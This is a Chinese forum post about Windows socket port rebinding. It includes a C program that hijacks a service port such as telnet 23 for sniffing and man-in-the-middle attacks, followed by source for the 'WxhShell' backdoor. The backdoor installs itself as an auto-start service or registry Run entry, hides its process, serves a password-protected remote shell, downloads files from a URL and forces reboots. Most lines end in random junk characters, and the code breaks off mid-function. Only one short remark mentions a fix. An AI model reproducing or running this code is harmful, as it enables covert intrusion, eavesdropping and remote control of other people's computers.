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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !2Dy_U=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \a "Ct'  
u]C`6)>  
  saddr.sin_family = AF_INET; O(2cWQ  
?{o/I\\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [~5p>'  
maMHZ\ Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -y) ,Y |  
/rB{[zk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )!9Ifk0KH  
>(9F  
  这意味着什么?意味着可以进行如下的攻击: 5G}6;UY  
!.-tW7   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &'|B =7  
ske@uzAz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v|Jlf$>  
!Gs} tiMH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4z7G2  
Rz%e>)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @}FAwv^f  
V|Tud  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !KS F3sz  
hPm>tV2X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ar9nBJ`  
/k\01hc`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1ZJ4*bn  
%:6?Y%`*[  
  #include AH7L.L+$M  
  #include =Cf ]  
  #include db=$zIB[:  
  #include    qG8s;_G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r >{G`de4  
  int main() 0V,Nv9!S  
  { !jX4`/n2  
  WORD wVersionRequested; `qpc*enf0  
  DWORD ret; ";3*?/uM  
  WSADATA wsaData; `hh9"Ws%  
  BOOL val; XaI;2fMGI  
  SOCKADDR_IN saddr; ;uI~BV*3  
  SOCKADDR_IN scaddr; $Ptk|qFe  
  int err; W+>wu%[L  
  SOCKET s; A//?6O Jx?  
  SOCKET sc; ,#u\l>&$  
  int caddsize; i`U: gw  
  HANDLE mt; cH`^D?#se  
  DWORD tid;   sOFa!bdPW  
  wVersionRequested = MAKEWORD( 2, 2 ); JXQPT  
  err = WSAStartup( wVersionRequested, &wsaData ); ,+/zH'U}  
  if ( err != 0 ) { ;|ub!z9GG  
  printf("error!WSAStartup failed!\n"); >G)qns9  
  return -1; dT@UK^\  
  } _]#klL  
  saddr.sin_family = AF_INET; =6nD0i 9+  
   S 4vbN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u4'z$>B  
O??vm?eo  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'E]A.3-Mt  
  saddr.sin_port = htons(23); <)m%*9{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :{g7lTM  
  { g#^|oYuH6  
  printf("error!socket failed!\n"); uZjI?Z.A  
  return -1; a_T,t'6  
  } vS; '}N  
  val = TRUE; VC&c)X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B+VuUt{S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tiQ;#p7%  
  { Fxd{ Zk`  
  printf("error!setsockopt failed!\n"); gy_$#e  
  return -1; _+QwREP  
  } TYS\95<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W^g'}}]T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _g|acBF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a% ,fXp>  
T{MC-j _T9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4I~i)EKy6  
  { M]_E  
  ret=GetLastError(); jp<VK<s]  
  printf("error!bind failed!\n"); iLq#\8t^  
  return -1; lglYJ,  
  } !e8i/!}^S  
  listen(s,2); I lG:X)V%  
  while(1) \P?ToTTV  
  { L/r{xS  
  caddsize = sizeof(scaddr); vE\lp8j+  
  //接受连接请求 BA+_C]%ZJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L'kq>1QWf  
  if(sc!=INVALID_SOCKET) us{nyil1  
  { hY8#b)l~lu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  WR.x&m>  
  if(mt==NULL) D[Iq n  
  { uDG+SdyN@  
  printf("Thread Creat Failed!\n"); )s")y  
  break; &sOM>^SAD  
  } E20&hc5 8  
  } Wc'Ehyi;  
  CloseHandle(mt); 9;f|EGwZ  
  } :EHQ .^  
  closesocket(s); ZlR!s!vv  
  WSACleanup(); Aka^e\Y@6*  
  return 0; ,seFkG@1  
  }   I-:` cON=G  
  DWORD WINAPI ClientThread(LPVOID lpParam) }p'8w\C$  
  { =7jEz+w#  
  SOCKET ss = (SOCKET)lpParam; l1-HO  
  SOCKET sc; qi=3L  
  unsigned char buf[4096]; :c4kBl%gJ  
  SOCKADDR_IN saddr; kV)' a  
  long num; 'DAltr<  
  DWORD val; 9YC&&0 C@  
  DWORD ret; k i4f*Ej  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B=zMYi  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *8\(FVyG^  
  saddr.sin_family = AF_INET; @-6?i)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hZuYdV{'h  
  saddr.sin_port = htons(23); b=LF%P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) < 5ZJ]W  
  { c4|so=  
  printf("error!socket failed!\n"); :XS"# ^aJ  
  return -1; Dd/}Ya(Gi  
  } \Hum}0[  
  val = 100; rSyaZ6#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0j@IxEPs  
  { lgT?{,>RkW  
  ret = GetLastError(); Z{}+)Q*Q  
  return -1; dF,DiRD  
  } 2V$9ei6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F0;1zw  
  { `Cj,HI_/*  
  ret = GetLastError(); ryEvmWYu  
  return -1; t<lyg0f  
  } 5Rs?CVVb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r<(kLpOH%  
  { E^syrEz  
  printf("error!socket connect failed!\n"); Ekf2NT  
  closesocket(sc); ;D&wh  
  closesocket(ss); M[,^KJ!  
  return -1; 6Bdyf(t  
  } b\L)m (  
  while(1) %HEmi;  
  { `@$YlFOW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \X opU"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 z(UX't (q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n4*'B*  
  num = recv(ss,buf,4096,0); n\~yX<;X3  
  if(num>0) m|dF 30~A  
  send(sc,buf,num,0); rk|a'&  
  else if(num==0) CjZ6NAHc  
  break; w4}(Ab<Y  
  num = recv(sc,buf,4096,0); >@Khm"/T  
  if(num>0) JS2!)aqc  
  send(ss,buf,num,0); mh8nlB  
  else if(num==0) r %xB8e9  
  break; j?J=w=.Nx  
  } ~%GSsm\J  
  closesocket(ss);  * D3  
  closesocket(sc); w{ m#Yt  
  return 0 ; P rt#L8  
  } JWSq"N  
gT7I9 (x!W  
$y4M#yv  
========================================================== JOHp?3"4  
Bcm=G""  
下边附上一个代码,,WXhSHELL zf")|9j  
nP)-Y#`~7  
========================================================== QQ|9>QP  
<^'{ G  
#include "stdafx.h" V9]uFL  
{q2<KRU2+#  
#include <stdio.h> 4+,*sn  
#include <string.h> <M>#qd@c  
#include <windows.h> %>]#vQ|  
#include <winsock2.h> =z%s8D2  
#include <winsvc.h> @f'AWeJ2  
#include <urlmon.h> ;@O(z*14@  
%w%zv2d  
#pragma comment (lib, "Ws2_32.lib") JgZdS-~  
#pragma comment (lib, "urlmon.lib") "U{mMd!9L  
+{bh  
#define MAX_USER   100 // 最大客户端连接数 gU*I;s>  
#define BUF_SOCK   200 // sock buffer [ 1D)$"  
#define KEY_BUFF   255 // 输入 buffer A'(k Yc  
vev8l\  
#define REBOOT     0   // 重启 :if5z2PE/  
#define SHUTDOWN   1   // 关机 !j'guT&9]  
 m"1 ?  
#define DEF_PORT   5000 // 监听端口 -*5yY#fw}  
C890+(D~  
#define REG_LEN     16   // 注册表键长度 ^:$j:w?j  
#define SVC_LEN     80   // NT服务名长度 5[hlg(eb  
_"`/^L`Q?  
// 从dll定义API P:vX }V |[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k.ww-nH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gGD]t;<u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [/n' @cjNZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _c,&\ wl$  
uof0Oc.  
// wxhshell配置信息 yl|R:/2V  
struct WSCFG { PK9Qm'W b  
  int ws_port;         // 监听端口 Pyit87h{  
  char ws_passstr[REG_LEN]; // 口令 r]Z.`}Kkm  
  int ws_autoins;       // 安装标记, 1=yes 0=no T&e%/  
  char ws_regname[REG_LEN]; // 注册表键名 DwQp$l'NfW  
  char ws_svcname[REG_LEN]; // 服务名 gB'`I(q5.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1W4H-/Re  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %0go%_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $Jt8d|UP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cbY3mSfn*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  &s_}u%iC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 96k(X LR  
@)8NI[=6O  
}; ROcY'-  
VdYOm  
// default Wxhshell configuration +# A|Zp<  
struct WSCFG wscfg={DEF_PORT, jh-kCF  
    "xuhuanlingzhe", mRNHq3  
    1, X@G[=Rs  
    "Wxhshell", ZO]E@?Oav  
    "Wxhshell", | H5Ync[s  
            "WxhShell Service", _p?I{1O  
    "Wrsky Windows CmdShell Service", 3<yCe%I:  
    "Please Input Your Password: ", ggzAU6J  
  1, __Vg/C!W  
  "http://www.wrsky.com/wxhshell.exe", XWJ0=t&}  
  "Wxhshell.exe" _y.mpX&  
    }; Ni/|C19Z  
+lW+H12  
// 消息定义模块 iOE9FW|e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .kz(V5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (p}9^Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :a#|  
char *msg_ws_ext="\n\rExit."; !;6W!%t.|  
char *msg_ws_end="\n\rQuit."; DWHOS XA4  
char *msg_ws_boot="\n\rReboot..."; @faF`8LwA  
char *msg_ws_poff="\n\rShutdown..."; =/)Mc@Hb  
char *msg_ws_down="\n\rSave to "; *(>F'>F1"  
i@sCMCu6  
char *msg_ws_err="\n\rErr!"; Z{j!s6Y@{  
char *msg_ws_ok="\n\rOK!"; Iht mD@H}  
}C9VTJs|  
char ExeFile[MAX_PATH]; &n,xGIG  
int nUser = 0; ' h0\4eu  
HANDLE handles[MAX_USER]; xow6@M,  
int OsIsNt; dpl"}+  
* <Nk%`  
SERVICE_STATUS       serviceStatus; ajg7xF{l)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EVby 9!  
XL%vO#YT  
// 函数声明 :cIu?7A  
int Install(void); .oW~:mY  
int Uninstall(void); f[w jur  
int DownloadFile(char *sURL, SOCKET wsh); G=+!d&mbg  
int Boot(int flag); U<#$w{d:  
void HideProc(void); hA$c.jJr.Z  
int GetOsVer(void); Vw6>:l<+<  
int Wxhshell(SOCKET wsl); x`b~ZSNJ%  
void TalkWithClient(void *cs); Mr@<ZTw  
int CmdShell(SOCKET sock); Ej9/_0lt  
int StartFromService(void); W\ZV0T;<]  
int StartWxhshell(LPSTR lpCmdLine); fwz5{>ON]  
c=uBT K*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zi15wE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1D#T+t`[  
KR+aY.  
// 数据结构和表定义 4C2>0O<^s  
SERVICE_TABLE_ENTRY DispatchTable[] = |~1rKzZwF  
{ }Etd#">  
{wscfg.ws_svcname, NTServiceMain}, 10a=YG  
{NULL, NULL} =2GP^vh  
}; T% jjs  
E#WjoIk  
// 自我安装 }-k_?2"A  
int Install(void) 1VPfa  
{ t/EMBfLc  
  char svExeFile[MAX_PATH]; Y:#kel<  
  HKEY key; ~`W6O>  
  strcpy(svExeFile,ExeFile); 2xz%'X%  
0|qx/xo|-  
// 如果是win9x系统,修改注册表设为自启动 Q*oA{eZY  
if(!OsIsNt) { kfG65aa>_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [7ek;d;'t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h|Teh-@A5  
  RegCloseKey(key); _ cHV3cz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dg];(c+/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h<!khWFS  
  RegCloseKey(key); /I`!i K  
  return 0; -hJ>wGI  
    } HquB*=^xh  
  } nATfmUN L  
} \I`=JKYT  
else { 6>P  
xhp-4  
// 如果是NT以上系统,安装为系统服务 !Barc ,kA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C$]%1<-Iv]  
if (schSCManager!=0) ,sQ0atk7ma  
{ U- UV<}  
  SC_HANDLE schService = CreateService 2rE~V.)%  
  ( H8Z Z@@ qm  
  schSCManager, !EyGJa[ i  
  wscfg.ws_svcname, yScov)dp(  
  wscfg.ws_svcdisp, .,BD DPFB  
  SERVICE_ALL_ACCESS, $ M[}(m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iM Y0xf8l  
  SERVICE_AUTO_START, u" NIG  
  SERVICE_ERROR_NORMAL, +h9l %Pz  
  svExeFile, + X|m>9  
  NULL, Wvzzjcr(j  
  NULL, N4JqW  
  NULL, ]R3pBC"Jv  
  NULL, v1tN DyM6  
  NULL 9^[5!SMzCj  
  ); 0;m$a=  
  if (schService!=0) y9l.i@-  
  {  h(N 9RJ}  
  CloseServiceHandle(schService); y:|Xg0Kp  
  CloseServiceHandle(schSCManager); J,77pf!B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]oWZ{#r2  
  strcat(svExeFile,wscfg.ws_svcname); H--*[3".  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q4#f *]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y|qixpP  
  RegCloseKey(key); Eg- Mm4o  
  return 0; 6pdl,5[x-  
    } Lb3K};SIV  
  } c#4L*$ViF  
  CloseServiceHandle(schSCManager); B$[%pm`'2  
} $y]||tX  
} ?}lpo; $  
O%q;,w{prW  
return 1; J#OE}xASoA  
} Ns(L1'9=  
Vlxb<$5Nh  
// 自我卸载 yPxG`w'  
int Uninstall(void) h/+I-],RF  
{ 9'*ZEl^?D  
  HKEY key; ^xkppN2  
YO!7D5rV#  
if(!OsIsNt) { F~rY jAFTi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RNrYT|  
  RegDeleteValue(key,wscfg.ws_regname); y:6'&`L  
  RegCloseKey(key); _)Z7Le:f!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1b]PCNz  
  RegDeleteValue(key,wscfg.ws_regname); qer'V  
  RegCloseKey(key); .0*CT:1=0  
  return 0; GPqB\bxb'  
  } ~RLx;  
} ))+9 8iU1s  
} <[B[  
else { _*?"[TYfX  
P@S;>t{TD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sz2SWk^&  
if (schSCManager!=0) r/$)c_x`  
{ 22|M{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LXfeXWw?,  
  if (schService!=0) { `|YX_HS  
  { ,5+X%~'  
  if(DeleteService(schService)!=0) { 'LLQ[JJ=O  
  CloseServiceHandle(schService); -$MC  
  CloseServiceHandle(schSCManager); "i<3}6/*  
  return 0; Z6/~2S@  
  } X.4ZLwX=  
  CloseServiceHandle(schService); 8JOht(m  
  } Y1ilH-8  
  CloseServiceHandle(schSCManager); S%gO6&^  
} SlJ/OcAf#  
} !}Ou|r4_  
}ok nB  
return 1; /E  yg*#  
} ?m r@B  
"M#`y!__  
// 从指定url下载文件 W;}u 2GH  
int DownloadFile(char *sURL, SOCKET wsh) 7 te!>gUW  
{ r-Xe<|w  
  HRESULT hr; xS-nO_t 'E  
char seps[]= "/"; Nb9V/2c;V  
char *token; OVo  
char *file; ~aR='\<  
char myURL[MAX_PATH]; PdN\0B `  
char myFILE[MAX_PATH]; a.U:B [v`  
Gv nclnG  
strcpy(myURL,sURL); V7'x? pt  
  token=strtok(myURL,seps); r ~!%w(N|M  
  while(token!=NULL) pmD-]0  
  { gx9sBkoq5D  
    file=token; *]| JX&  
  token=strtok(NULL,seps); T2PFE4+Dp  
  } a1sLRqo8  
7<'i#E~  
GetCurrentDirectory(MAX_PATH,myFILE); :-@P3F[0  
strcat(myFILE, "\\"); d*:qFq_  
strcat(myFILE, file); Ol h%"=*;  
  send(wsh,myFILE,strlen(myFILE),0); wQuaB6E  
send(wsh,"...",3,0); 0]w[wc <  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #YYvc`9  
  if(hr==S_OK) ]B'  
return 0; c1!/jTX$  
else jG ;(89QR/  
return 1; 5%aKlx9^#  
jqsktJw#i  
} @.@#WHde  
i-vJ&}}  
// 系统电源模块 tsC|R~wW  
int Boot(int flag) eKti+n.  
{ VP[!ji9P   
  HANDLE hToken; 5$Q`P',*Ua  
  TOKEN_PRIVILEGES tkp; %c2i.E/G  
" /-v 9  
  if(OsIsNt) { x]+KO)I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y +yvv{01  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n.UM+2G  
    tkp.PrivilegeCount = 1; >#n-4NZ;p9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OxGCpbh*7o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G:ngio]G0  
if(flag==REBOOT) { b%t9a\0V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E_uH' E  
  return 0;  jy|xDQ  
} ssbyvzQ  
else { aNU%OeQA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =0fx6V  
  return 0; 959jp85  
} H0NyxG<  
  } >:nJTr  
  else { R:m=HS_  
if(flag==REBOOT) { QD VA*6F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D)cwttH  
  return 0; ZGvNEjff  
} #@"rp]1xv  
else { >ZsK5v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w7V W   
  return 0; +NMSvu_?  
} Z'm%3  
} oDI*\S>  
9TS=>  
return 1; -^Va]Lk  
} <Py/uF|  
D5vtZu!"  
// win9x进程隐藏模块 RtQfE+  
void HideProc(void) .u3W]5M|  
{  o*1`,n  
I _G;;GF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .JKaC>oX  
  if ( hKernel != NULL )  :!FwF65  
  { <q=B(J'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r(CL=[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z{WqICnb  
    FreeLibrary(hKernel); ToM*tXj  
  } yvwcXNXR@  
tV4aUve  
return; 6RodnQ  
} ~ZN9 E-uL  
gq &85([  
// 获取操作系统版本 DTVnQC  
int GetOsVer(void) nE%qm -  
{ V7i`vo3Cc  
  OSVERSIONINFO winfo; }}R!Y)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {0 {$.L  
  GetVersionEx(&winfo); rrRC5h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M_I\:Q  
  return 1; .1lc'gu5y  
  else swbD q  
  return 0; YHAg4 eb8  
} $>m<+nai'  
?,>y`Qf*|  
// 客户端句柄模块  ?C\9lLX  
int Wxhshell(SOCKET wsl) B6&Mtm1  
{ sg\ jC#  
  SOCKET wsh; t4uxon  
  struct sockaddr_in client; {u3u%^E;R  
  DWORD myID; H@2+wr)$}  
1D]wW%us  
  while(nUser<MAX_USER) DO{4n1-U  
{ "ET"dMxU  
  int nSize=sizeof(client); nzDY!Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .JjuY'-Q  
  if(wsh==INVALID_SOCKET) return 1; ^[akB|#\9  
NebZGD2K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (Cd `~*5  
if(handles[nUser]==0) ,r4af<  
  closesocket(wsh); a@1gMZc*  
else `r Ql{$9IC  
  nUser++; \C|06Bs $  
  } e0 EJ[bG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F4Z0g*^x  
,/9|j*9H  
  return 0; Jq)k?WS  
} x|5/#H  
5P x_vtqP  
// 关闭 socket Xw5" JE!.  
void CloseIt(SOCKET wsh) i[J',  
{ %R>MSSjvr  
closesocket(wsh); GjBQxn  
nUser--; R?I3xb  
ExitThread(0); +__Rk1CVh  
} S0yT%V  
uM#/  
// 客户端请求句柄 mQJGKh&Pk  
void TalkWithClient(void *cs) dGjvSK<1@  
{ K2Zy6lGOZ  
d?.x./1[qi  
  SOCKET wsh=(SOCKET)cs; R\?!r4  
  char pwd[SVC_LEN]; _Qas+8NW  
  char cmd[KEY_BUFF]; 1<5yG7SZ  
char chr[1]; v>R.ou(  
int i,j; =c'LG   
A:Z:&(NtE:  
  while (nUser < MAX_USER) { K.~U%v}  
2$=HDwv  
if(wscfg.ws_passstr) { 3WS % H17  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C54)eT6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _u; UU$~  
  //ZeroMemory(pwd,KEY_BUFF); HL]?CWtGP  
      i=0; xm5D$m3#  
  while(i<SVC_LEN) { huIr*)r&p  
~ 5b %~:  
  // 设置超时 107SXYdhI  
  fd_set FdRead; EzaOg|  
  struct timeval TimeOut; rOGJ%|%(  
  FD_ZERO(&FdRead); 3}Pa,u N  
  FD_SET(wsh,&FdRead); Xs/hqIXB  
  TimeOut.tv_sec=8; K(^x)w r-:  
  TimeOut.tv_usec=0; }2S \-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XijQ)}'C3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I( e>ff  
';%g^!lM a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WjB[e>  
  pwd=chr[0]; W%o){+,  
  if(chr[0]==0xd || chr[0]==0xa) { x4K5  
  pwd=0; FKP^f\!M  
  break; j&9~OXYv  
  } N INiX(  
  i++; F)G#\r  
    } (@Bm2gH  
]jYM;e  
  // 如果是非法用户,关闭 socket >vhyKq|g<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iy 5  
} kMA>)\  
U Lq%,ca  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RfD$@q9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y~6pJNR  
gE&f}M-  
while(1) { E:ytdaiT  
7blZAA?-  
  ZeroMemory(cmd,KEY_BUFF); ='FEC-f95  
<~3 a aO  
      // 自动支持客户端 telnet标准   }|d:(*  
  j=0; ?#'qY6 ^  
  while(j<KEY_BUFF) { WBGYk);  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k)J7) L  
  cmd[j]=chr[0]; k1<Py$9"  
  if(chr[0]==0xa || chr[0]==0xd) { fiZ8s=J  
  cmd[j]=0; -:QyWw/d  
  break; `#V"@Go  
  } *VU Xw@  
  j++;  <KpQu%2(  
    } y.Py>GJJ1S  
C{D2mSS  
  // 下载文件 4}CRM# W2  
  if(strstr(cmd,"http://")) { xl3U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !l~hO  
  if(DownloadFile(cmd,wsh)) ra3WLK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @P-7a`3*  
  else A28w/ =e7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;u%hwlo  
  } #%5>}$  
  else { sM-*[Q=_  
MG6Tk(3S  
    switch(cmd[0]) { \yqiv"'  
  ;Cwn1N9S  
  // 帮助 gOkO8P6P8  
  case '?': { WXM_H0K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #df43_u  
    break; \=@}(<4  
  } /X?Nv^Hy  
  // 安装 Wi[Y@  
  case 'i': { ru&RL HFV  
    if(Install()) !"kvXxp^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fri5_rxLl  
    else 75F&s,4+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3"".kf,O5e  
    break; H Ow hl  
    } _FV.}%W<u  
  // 卸载 H\^^p!^)  
  case 'r': { H|^4e   
    if(Uninstall()) +SJ aE] $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \bg^E>-  
    else %tMfOW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hq~ 2,#Ue  
    break; 2#R"#Q!  
    } FR <wp  
  // 显示 wxhshell 所在路径 eZv0"FK X  
  case 'p': { [  /D/  
    char svExeFile[MAX_PATH]; Kq*^*vWC  
    strcpy(svExeFile,"\n\r"); aH6pys!O  
      strcat(svExeFile,ExeFile); Mf *qr9*  
        send(wsh,svExeFile,strlen(svExeFile),0); wK3}K  
    break; A-~)7-  
    } X>CYKRtb  
  // 重启 k4@GjO1"$  
  case 'b': { (X8N?tJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L]V K9qB  
    if(Boot(REBOOT))  }N[sydL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )*uI/E  
    else { bIH2cJ  
    closesocket(wsh); 3S,pd0;  
    ExitThread(0); ex['{|a{  
    } kSDV#8 uZ  
    break; `XD$1>  
    } q<1@ut  
  // 关机 K,RIa0)  
  case 'd': { QhZ%<zN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q"Xls(  
    if(Boot(SHUTDOWN)) CI,-q i  
